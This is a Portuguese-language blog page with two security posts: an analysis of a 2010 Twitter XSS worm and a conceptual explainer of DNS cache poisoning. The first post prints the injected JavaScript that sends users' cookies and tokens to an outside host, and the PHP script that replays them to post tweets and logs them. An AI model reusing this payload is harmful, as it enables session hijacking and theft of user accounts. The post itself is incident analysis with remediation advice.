Mostrando postagens com marcador segurança. Mostrar todas as postagens
Mostrando postagens com marcador segurança. Mostrar todas as postagens

terça-feira, 7 de setembro de 2010

Um worm no Twitter

História

No dia 6 se setembro, a seguinte mensagem se espalhou no twitter:



Ao clicar no link, o usuário era redirecionado para a página do criador do worm (@Joseph_Felix, agora desativado), além de postar uma cópia da mensagem acima.

A mensagem se espalhou numa explosão combinatorial para praticamente todo o twitter.

Não demoraram muito a descobrirem como a falha funcionava e a imitaram:



@octanefx foi muito menos bozinho que @Joseph_Felix e com os cookies que roubou, transformou um pedaço do twitter em sua marionete:



Segundo ele mesmo, "Mesmo depois de solucionado o problema no site do twitter, ainda posso manipular as contas por algum tempo."

Enquanto isso, @Joseph_Felix revelava suas verdadeiras intenções:



A falha

O Twitter tinha um problema de XSS (http://www.xssed.com/news/116/Twitter_developer_platform_search_field_vulnerable_to_XSS_/) que permitia injetar um código javascript e assim obter o cookie do subdomínio dev.twitter.com. Esse cookie pode ser usado em qualquer página do domínio twitter.com. No caso, foi usado para postar uma mensagem na timeline. O exploit criado injetava o segunte código:


window.onload=function(){
location.href='//dgoh-codes.com/joseph/twitter/?cookie='.concat(escape(document.cookie),'&token=',document.body.innerHTML.match(/value\', \'([^\']+)/i)[1]);
}


Esse código envia 2 informações à página "dgoh-codes.com/joseph/twitter":

  • Os cookies do usuário (document.cookie)
  • O authencity_token do usuário. Esse token serve para evitar ataques CSRF


O Código que @Joseph_Felix usou em dgoh-codes.com/joseph/twitter foi:

<?php
$inf = $_GET["cookie"];
$token = $_GET["token"];
$status = "Pe Lanza da banda Restart sofre acidente tragico | http://bit.ly/d5Pho8";
if (!empty($inf) && !empty($token))
{
$c = curl_init("http://twitter.com/status/update");
curl_setopt_array($c, Array(
CURLOPT_RETURNTRANSFER => true,
CURLOPT_COOKIE => $inf,
CURLOPT_CUSTOMREQUEST => "POST",
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => "authenticity_token={$token}&status=".rawurlencode($status)."&twttr=true&return_rendered_status=true&lat=&lon=&place_id=&display_coordinates=false"
));
$posta = curl_exec($c);
print $posta;
$fp = fopen("arquivo_cookie.txt", "a");
fwrite($fp, "Cookie: " . $inf . "\r\nAuthenticity_token: {$token}\r\n\r\n");
fclose($fp);
header("Location: http://twitter.com/Joseph_Felix");
}
?>


Este código também está em http://pastebin.com/pFUtvM42

O exploit criado funciona da seguinte maneira:
  • Usuário do twitter entre no link malicioso
  • Usuário é redirecionado para dev.twitter.com
  • Através da falha de XSS, o código injeta um javascript que envia o conteúdo de document.cookie e do authenticity_token para "dgoh-codes.com/joseph/twitter" (ou worm_pe_lanza)
  • A página worm_pe_lanza cria uma requisição para http://twitter.com/status/update com as seguintes informações:

    • Cookie: a informação recebida por "$_GET["cookie"];"

    • Tipo de requisição : POST

    • valores enviados
    • authenticity_token= valor em "$_GET["token"]"
      status="Pe Lanza da banda Restart sofre acidente tragico | http://bit.ly/d5Pho8"
      twttr=true
      return_rendered_status=true
      display_coordinates=false


  • A página worm_pe_lanza salva o cookie E o token do usuário num arquivo arquivo_cookie.txt.

  • Usuário é redirecionado para http://twitter.com/Joseph_Felix


Solução?

O exploit usa do cookie e do authenticity token para criar o worm. Porém, basta que o exploit tenha o cookie que ele pode obter o token, bastando pra isso fazer um get a dev.twitter.com (como observado pelo @viniciuskmax).

A única solução é renovar o cookie, para que o cookie roubado fique inútil. @RodLac disse que trocar uma senha basta para invalidar um cookie, mas logout/login não. @altieres sugere, além de trocar a senha, limpar o cache (pois alguns antivirus colocaram o exploit na sua base de dados, e podem detectá-lo se ele ainda residir em algum cache do navegador.

Em suma: se você foi atingido, troque sua senha.

domingo, 7 de setembro de 2008

DNS Cache Poisoning

Há algum tempo atrás, descobriu-se uma falha no protocolo de DNS. Não uma falha de implementação, como as que a Microsoft (Microsoft DNS) ou o Linux (Bind) provêem. O problema mesmo é do protocolo, da maneira que ele foi definido. Questionei um amigo meu, adminstrador de redes linux, sobre detalhes sobre o protocolo e do serviço Bind. O texto abaixo é dele.

Cada computador na internet possui um endereço ip, e para atingir esse computador, devemos OBRIGATORIAMENTE saber o seu endereço IP. Para que não precisemos decorar o endereço IP do nosso site favorito, foi criado o serviço de DNS, que serve para fornecer o endereço IP de determinado nome de domínio.

- DNS - Domain Name System: serviço da internet (do tipo UDP, ouvindo requisições na porta 53) que serve para transformar nomes de host/domínios em endereços IP, e vice-versa.

O serviço DNS é hierárquico, ou seja, o servidor responsável pelo .BR é o responsável por dizer quem são os servidores responsáveis pelo .COM.BR, .NET.BR e assim por diante. Sabendo o responsável pelo .COM.BR é reponsável por dizer quem são os responsáveis pelo .GOOGLE.COM.BR, .BRADESCO.COM.BR, e assim por diante. O servidor responsável por .GOOGLE.COM.BR fornece o endereço IP para o nosso navegador para o host WWW em WWW.GOOGLE.COM.BR.

O software de servidor chamado BIND (versão atual é a 9.0) (também chamado named) é o responsável por implementar o protocolo DNS nas principais distribuições unix/linux.

Os diversos servidores DNS na internet perguntam, uns aos outros, as consultas de endereços, conforme a utilização da rede, e como o serviço é hierárquico, é necessário que seja formada uma rede de confiança entre os servidores, já que servidores distintos são responsáveis por solicitações de domínios distintos.

- DNS Cache: os softwares DNS possuem um cache interno, de forma a manter os resultados de cada pesquisa em memória durante um tempo, a fim de diminuir o número de pesquisas repetitivas para determinados endereços muito procurados.

- Spoof (informática): mascarar a identidade de um computador/serviço/usuário, de forma a monitorar, corromper, ou adulterar os dados ou outros tipos de informações na comunicação de rede.

- DNS Cache Poisoning: cadastro de informações inválidas, incorretas, adulteradas no cache do servidor DNS, através da utilização de um ataque de Spoof. Dessa forma, o servidor de dns de uma rede pode armazenar o endereço de ip incorreto para um determinado host, e as aplicações que queiram se conectar nesse servidor irão se conectar no servidor fraudulento.

Exemplo de situação normal:
- Você digita no navegador mozilla firefox 3.0: www.google.com.br.
- O seu computador pergunta ao servidor linux da sua rede, que está rodando BIND9, qual o ip para www.google.com.br
- O BIND9 não sabe quem é www.google.com.br, mas tem pré-cadastrado o .br, e pergunta pra ele quem é www.google.com.br
- O servidor .br não sabe quem é www.google.com.br, mas sabe quem é .com.br, e retorna essa resposta.
- O BIND9 recebe quem é .com.br, e então pergunta para ele quem é www.google.com.br
- O servidor .com.br não sabe quem é www.google.com.br, mas sabe quem é .google.com.br, e retorna essa responsta.
- O BIND9 recebe quem é .google.com.br, e então pergunta para ele quem é www.google.com.br
- O servidor .google.com.br é o responsável e sabe quem é www, e retorna o IP correto.
- O BIND9 recebe a resposta final do IP para www.google.com.br, e retorna a responsta para a máquina com o navegador.
- O seu computador recebe a resposta da consulta DNS para www.google.com.br, e retorna a resposta para o aplicativo do navegador.
- O mozilla firefox recebe o endereço IP, contacta esse endereço na porta 80, e .... (ops isso já é outra aula).

Exemplo de situação fraudulenta:
- Você digita no navegador mozilla firefox 3.0: www.google.com.br.
- O seu computador pergunta ao servidor linux da sua rede, que está rodando BIND9, qual o ip para www.google.com.br
- O BIND9 não sabe quem é www.google.com.br, mas tem pré-cadastrado o .br, e pergunta pra ele quem é www.google.com.br
- O servidor .br não sabe quem é www.google.com.br, mas sabe quem é .com.br, e retorna essa resposta.
- Algum servidor comprometido no meio do caminho descarta a resposta do .br, e retorna uma resposta modificada contendo um endereço IP incorreto para www.google.com.br. O cabeçalho do pacote DNS é fraudado devido à falta de entropia (aleatoriedade), de forma que o servidor de origem aceita a resposta como sendo válida.
- O BIND9 recebe a resposta fraudada para quem é www.google.com.br, e acredita cegamente nessa resposta (por causa do cabeçalho válido), e então devolve a resposta para o seu computador.
- O seu computador recebe a resposta da consulta DNS para www.google.com.br, e retorna a resposta para o aplicativo do navegador.
- O mozilla firefox recebe o endereço (incorreto) IP, e contacta esse endereço na porta 80


Agradecimentos ao José Antônio Salini Fereira , que criou esse ótimo texto.

Mais informações: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1447